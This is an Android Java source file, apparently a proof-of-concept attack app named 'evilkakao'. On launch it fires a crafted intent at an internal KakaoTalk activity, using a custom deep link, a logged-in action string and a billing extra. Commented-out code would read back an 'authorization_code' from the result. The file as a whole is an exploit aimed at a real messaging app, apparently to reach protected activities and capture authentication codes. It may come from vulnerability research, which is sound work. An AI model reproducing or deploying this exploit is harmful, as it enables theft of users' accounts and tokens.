package com.example.evilkakao; import android.content.Intent; import android.net.Uri; import android.os.Bundle; import androidx.appcompat.app.AppCompatActivity; public class MainActivity extends AppCompatActivity { @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); Intent intent = new Intent(); intent.setClassName("com.kakao.talk", "com.kakao.talk.vox.vox30.ui.voiceroom.VoiceRoomActivity"); intent.setData(Uri.parse("kakaotalk://style/foo")); intent.setAction("com.kakao.talk.intent.action.CAPRI_LOGGED_IN_ACTIVITY"); intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK); intent.putExtra("BillingReferer", "talk_global_search"); startActivity(intent); // startActivityForResult(intent, 0); } /* protected void onActivityResult(int requestCode, int resultCode, Intent data) { super.onActivityResult(requestCode, resultCode, data); // String s = data.getStringExtra("authorization_code"); Log.d("foo", String.valueOf(resultCode)); } */ }